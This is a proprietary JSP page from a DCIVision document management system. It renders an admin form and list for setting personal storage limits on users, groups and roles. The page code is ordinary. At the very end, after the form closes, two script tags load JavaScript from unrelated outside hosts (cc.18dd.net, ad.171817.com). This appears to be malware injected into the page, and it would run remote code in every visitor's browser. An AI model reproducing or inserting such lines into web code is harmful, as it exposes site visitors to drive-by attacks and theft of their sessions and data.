<%
/*
 * @(#)ListDmsGroupRoleFolder.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ListDmsGroupRoleFolder.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    23/11/2004
    @version          $Revision: 1.16.4.15 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsPersonalStorageSetupForm" scope="request" class="com.dcivision.dms.web.ListDmsPersonalStorageSetupForm"/>

<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "memberList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"user.columnheader.member_name", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.member_type", "MEMBER_TYPE"},
                            {"dms.columnheader.storage_limit","STORAGE_LIMIT"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  String strTitle = "-Personal Storage Setup";
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
%>
<script language="javascript">
<!--

function checkUnlimit(){
  if (document.listDmsPersonalStorageSetupForm.unlimit.checked==true){
    document.listDmsPersonalStorageSetupForm.storageLimit.disabled=true;
    document.listDmsPersonalStorageSetupForm.storageLimit.value='';
  }else{
    document.listDmsPersonalStorageSetupForm.storageLimit.disabled=false;
  }
}

function addUserRecord(){
  if(parseFloat(document.listDmsPersonalStorageSetupForm.storageLimit.value)=='0'){
      alert("<bean:message key='dms.message.not_allow_zero'/>");
      return(true);
  }
  if (document.listDmsPersonalStorageSetupForm.unlimit.checked==true){
    document.listDmsPersonalStorageSetupForm.storageLimit.value="";
  }
  if(document.listDmsPersonalStorageSetupForm.storageLimit.value=="" && document.listDmsPersonalStorageSetupForm.unlimit.checked==false){
    alert("<bean:message key='dms.message.storage_limit_required'/>");
    return(true);
  }
  if(document.listDmsPersonalStorageSetupForm.userRecordID.value==""){
    alert("<bean:message key='user.label.request_user_record'/>");
    return(true);
  }
  document.listDmsPersonalStorageSetupForm.opMode.value="<%=UserMember.OPMODE_ADD_USER%>";
  document.listDmsPersonalStorageSetupForm.submit();
  return(false);
}

function addUserGroup(){
  if(parseFloat(document.listDmsPersonalStorageSetupForm.storageLimit.value)=='0'){
      alert("<bean:message key='dms.message.not_allow_zero'/>");
      return(true);
  }
  if (document.listDmsPersonalStorageSetupForm.unlimit.checked==true){
    document.listDmsPersonalStorageSetupForm.storageLimit.value="";
  }
  if(document.listDmsPersonalStorageSetupForm.storageLimit.value=="" && document.listDmsPersonalStorageSetupForm.unlimit.checked==false){
    alert("<bean:message key='dms.message.storage_limit_required'/>");
    return(true);
  }
  if(document.listDmsPersonalStorageSetupForm.userGroupID.value==""){
    alert("<bean:message key='user.label.request_user_group'/>");
    return(true);
  }
  document.listDmsPersonalStorageSetupForm.opMode.value="<%=UserMember.OPMODE_ADD_GROUP%>";
  document.listDmsPersonalStorageSetupForm.submit();
  return(false);
}

function addUserRole(){
  if(parseFloat(document.listDmsPersonalStorageSetupForm.storageLimit.value)=='0'){
      alert("<bean:message key='dms.message.not_allow_zero'/>");
      return(true);
  }
  if (document.listDmsPersonalStorageSetupForm.unlimit.checked==true){
    document.listDmsPersonalStorageSetupForm.storageLimit.value="";
  }
  if(document.listDmsPersonalStorageSetupForm.storageLimit.value=="" && document.listDmsPersonalStorageSetupForm.unlimit.checked==false){
    alert("<bean:message key='dms.message.storage_limit_required'/>");
    return(true);
  }
  if(document.listDmsPersonalStorageSetupForm.userRoleID.value==""){
    alert("<bean:message key='user.label.request_user_role'/>");
    return(true);
  }
  document.listDmsPersonalStorageSetupForm.opMode.value="<%=UserMember.OPMODE_ADD_ROLE%>";
  document.listDmsPersonalStorageSetupForm.submit();
  return(false);
}

function searchStorageLimit(){
  var url = "ListDmsPersonalStorageSetup.do?navMode=<%=DmsPersonalStorageSetup.NAV_MODE_SEARCH%>";
  var name = "DCIVisionPopupDmsStorageLimit";
  var popW = "600";
  var popH = "200";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

function CustOpReset(){
  document.listDmsPersonalStorageSetupForm.storageLimit.value="";
  document.listDmsPersonalStorageSetupForm.dummy_userRecordID.value="";
  document.listDmsPersonalStorageSetupForm.dummy_userGroupID.value="";
  document.listDmsPersonalStorageSetupForm.dummy_userRoleID.value="";
  document.listDmsPersonalStorageSetupForm.opMode.value="";
  document.listDmsPersonalStorageSetupForm.submit();
}

-->
</script>

<!-- Form Section Begin -->
<html:form action="dms/ListDmsPersonalStorageSetup" method="POST" styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>

<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
    	<layout:returnButton className="but-standard" returnURL='<%="ListDmsRoot.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN%>'/>
    </div>
</div>
<div class="generalContainer">
		<div class="wrapperContainer-clearfix">
        <div>
        <table width="100%">
          <layout:sectionHeader name="dms.header.personal_storage_limit" mandatory="true" />
        </table>
        </div>
        <%if (permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_ACCOUNT, "E")||permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_GROUP, "E")||permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_ROLE, "E")) {%>
        <div>
        <table>
            <tr>
                <td class="formLabelSmallMan">
                <bean:message key='dms.label.storage_limit'/>:
                </td>
                <td class="formFieldSmall">
                <%if ("0.0".equals(listDmsPersonalStorageSetupForm.getStorageLimit())) {%>
                <html:float property='storageLimit' disabled='true' value='' size='10' maxlength='20' styleClass="form-style-2-short-textfield"/>
                <%} else {%>
                <html:float property='storageLimit' size='10' maxlength='20' styleClass="form-style-2-short-textfield"/>&nbsp;<bean:message key="common.unit.mb" />
                <%}%>
                </td>
                <td class="formFieldSmall">
                	<div style="width:100px">
                	<html:checkbox property='unlimit' value='Y' onclick="checkUnlimit();" /><bean:message key='dms.label.root_unlimit'/>
                	</div>
                </td>
                <td class="formFieldSmall">
                	<div style="width:160px">
                	<html:standardButton label="dms.label.Personal_Storage_Limit" onClick="return searchStorageLimit()"/>
                	</div>
                </td>
            </tr>
            <%if(permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_ACCOUNT, "E")){%>
            <tr>
                <td class="formLabelSmall">
                <bean:message key="user.label.user_record"/>:
                </td>
                <td class="formFieldSmall">
                  <html:userpicker property='userRecordID' styleClass="form-style-2-short-textfield"/>
                </td>
                <td class="formFieldSmall">
                  <html:standardButton label="form.label.add_element" onClick="return addUserRecord()"/>          
                </td>
            </tr>
            <%}%>
            <%if (permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_GROUP, "E")) {%>
            <tr>
                <td class="formLabelSmall">
                <bean:message key="user.columnheader.user_group"/>:
                </td>
                <td class="formFieldSmall">
                  <html:grouppicker property='userGroupID' styleClass="form-style-2-short-textfield"/>
                </td>
                <td class="formFieldSmall">
                  <html:standardButton label="form.label.add_element" onClick="return addUserGroup()"/>
                </td>
            </tr>
            <%}%>
            <%if (permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_ROLE, "E")) {%>
            <tr>
                <td class="formLabelSmall">
                <bean:message key="user.columnheader.user_role"/>:
                </td>
                <td class="formFieldSmall">
                <html:rolepicker property='userRoleID' styleClass="form-style-2-short-textfield"/>
                </td>
                <td class="formFieldSmall">
                <html:standardButton label="form.label.add_element" onClick="return addUserRole()"/>
                </td>
            </tr>
            <tr>
            	<td class="formLabelSmall">
                </td>
                <td class="formFieldSmall">
                <html:standardButton label="common.label.reset" onClick="return CustOpReset()"/>
                </td>
            </tr>
            <%}%>
        </table>
        </div>
        <%}%>
        
<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
       <html:colheaderButton label="common.label.delete" onClick="return OpListDelete()"/>
    </div>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Table Showing Record List Begin -->
  <!-- Table Column Header Begin -->
<div id="dataGrid" class="listTable">
<table>
  <tr>
  <layout:columnHeader form="listDmsPersonalStorageSetupForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsPersonalStorageSetupForm.getSortAttribute()%>" sortOrder="<%=listDmsPersonalStorageSetupForm.getSortOrder()%>" copyColumn="false"/>
  </tr>

  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsPersonalStorageSetup" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsPersonalStorageSetup).getID()%>);">
    <td>
      <%if(permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_ACCOUNT,"D")){%>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsPersonalStorageSetup' property='ID'/>" onclick="return(false);">
      <%}else{%>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      <%}%>
    </td>
    <td>
     <%if(permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_ACCOUNT,"E")){%>
       <a href="MaintDmsPersonalStorageSetup.do?navMode=E&ID=<bean:write name='dmsPersonalStorageSetup' property='ID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
     <%}else{%>
       <html:img src='IconEditDisable.gif'  align='absmiddle'/>
     <%}%>
    </td>
    <td>
      <bean:write name='dmsPersonalStorageSetup' property='memberName'/>
    </td>
    <td>
    <logic:equal name='dmsPersonalStorageSetup' property='memberType' value='<%=UserMember.MEMBER_TYPE_USER%>'>
      <bean:message key='user.label.member_type_user'/>
    </logic:equal>
    <logic:equal name='dmsPersonalStorageSetup' property='memberType' value='<%=UserMember.MEMBER_TYPE_GROUP%>'>
      <bean:message key='user.label.member_type_group'/>
    </logic:equal>
    <logic:equal name='dmsPersonalStorageSetup' property='memberType' value='<%=UserMember.MEMBER_TYPE_ROLE%>'>
      <bean:message key='user.label.member_type_role'/>
    </logic:equal>

    </td>
    <td>
    <%Double storage=((DmsPersonalStorageSetup)dmsPersonalStorageSetup).getStorageLimit();
    String storageLimit="";
    if(!Utility.isEmpty(storage)){
      if("0.0".equals(storage.toString())){
        storageLimit="unlimit";
      }else{
        NumberFormat nf = NumberFormat.getInstance();
        nf.setMaximumFractionDigits(20);
        nf.setMinimumFractionDigits(1);
        if (storage.doubleValue() >= 1024) {
          storageLimit=nf.format(storage.doubleValue() / 1024.0)+" GB";
        } else {
          storageLimit=nf.format(storage.doubleValue())+" MB";
        }
      }
    }
    %>
    <%=storageLimit%>
    </td>
    <td class="bodyVerySmall"><bean:write name='dmsPersonalStorageSetup' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='dmsPersonalStorageSetup' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsPersonalStorageSetupForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

</div>
</div>

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>